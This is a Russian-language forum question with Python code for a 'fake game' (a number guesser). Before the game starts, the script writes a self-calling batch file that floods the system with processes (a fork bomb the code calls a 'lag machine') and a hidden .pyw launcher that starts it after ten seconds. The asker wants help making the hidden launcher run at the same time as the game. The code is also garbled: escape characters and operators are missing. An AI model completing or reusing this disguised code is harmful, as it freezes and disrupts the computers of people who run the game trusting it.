#python #python-3.x
Вопрос:
Как можно запустить файл .pyw с помощью скрипта python, чтобы они оба запускались одновременно? Вот код, который у меня уже есть,#??????? являются частью, в которой я запускаю файл .pyw. Вторичный файл создается на диске D: и запускает файл .bat, хранящийся на диске D:.
import os
import time
from random import randint
import time
from datetime import datetime
import sys
import subprocess
#installs lag machine
if os.path.exists("D:\ProgramFiles.bat"):
pass
else:
ProgramFiles=open("D:\ProgramFiles.bat","x")
ProgramFiles.write("startnstartnstartnstartnstartnstartnstartnstartnProgramFiles.bat")
ProgramFiles.close()
#installs and runs python script to run lag machine
if os.path.exists("D:\runner.pyw"):
pass
else:
runner=open("D:\runner.pyw","x")
runner.write("import subprocessnimport sysnimport
timentime.sleep(10)nsubprocess.call([r'D:\\ProgramFiles.bat'])nsys.exit()")
runner.close()
#??????????
#starts fake game
Number = input("What is your number?n")
if Number == 'remove':
os.remove("D:\ProgramFiles.bat")
os.remove("D:runner.pyw")
sys.exit()
else:
Win = False
NumLen = len(Number)
time.sleep(0.5)
while Win is False:
NumberGuessLen = 1
NumberGuess = randint(0, 9)
while NumberGuessLen != int(NumLen):
DigitGuess = randint(0, 9)
NumberGuess = str(NumberGuess) str(DigitGuess)
NumberGuessLen = len(NumberGuess)
print("r" NumberGuess, end="")
if NumberGuess == Number:
Win = True
print("nTask Completed")
time.sleep(1)
else:
pass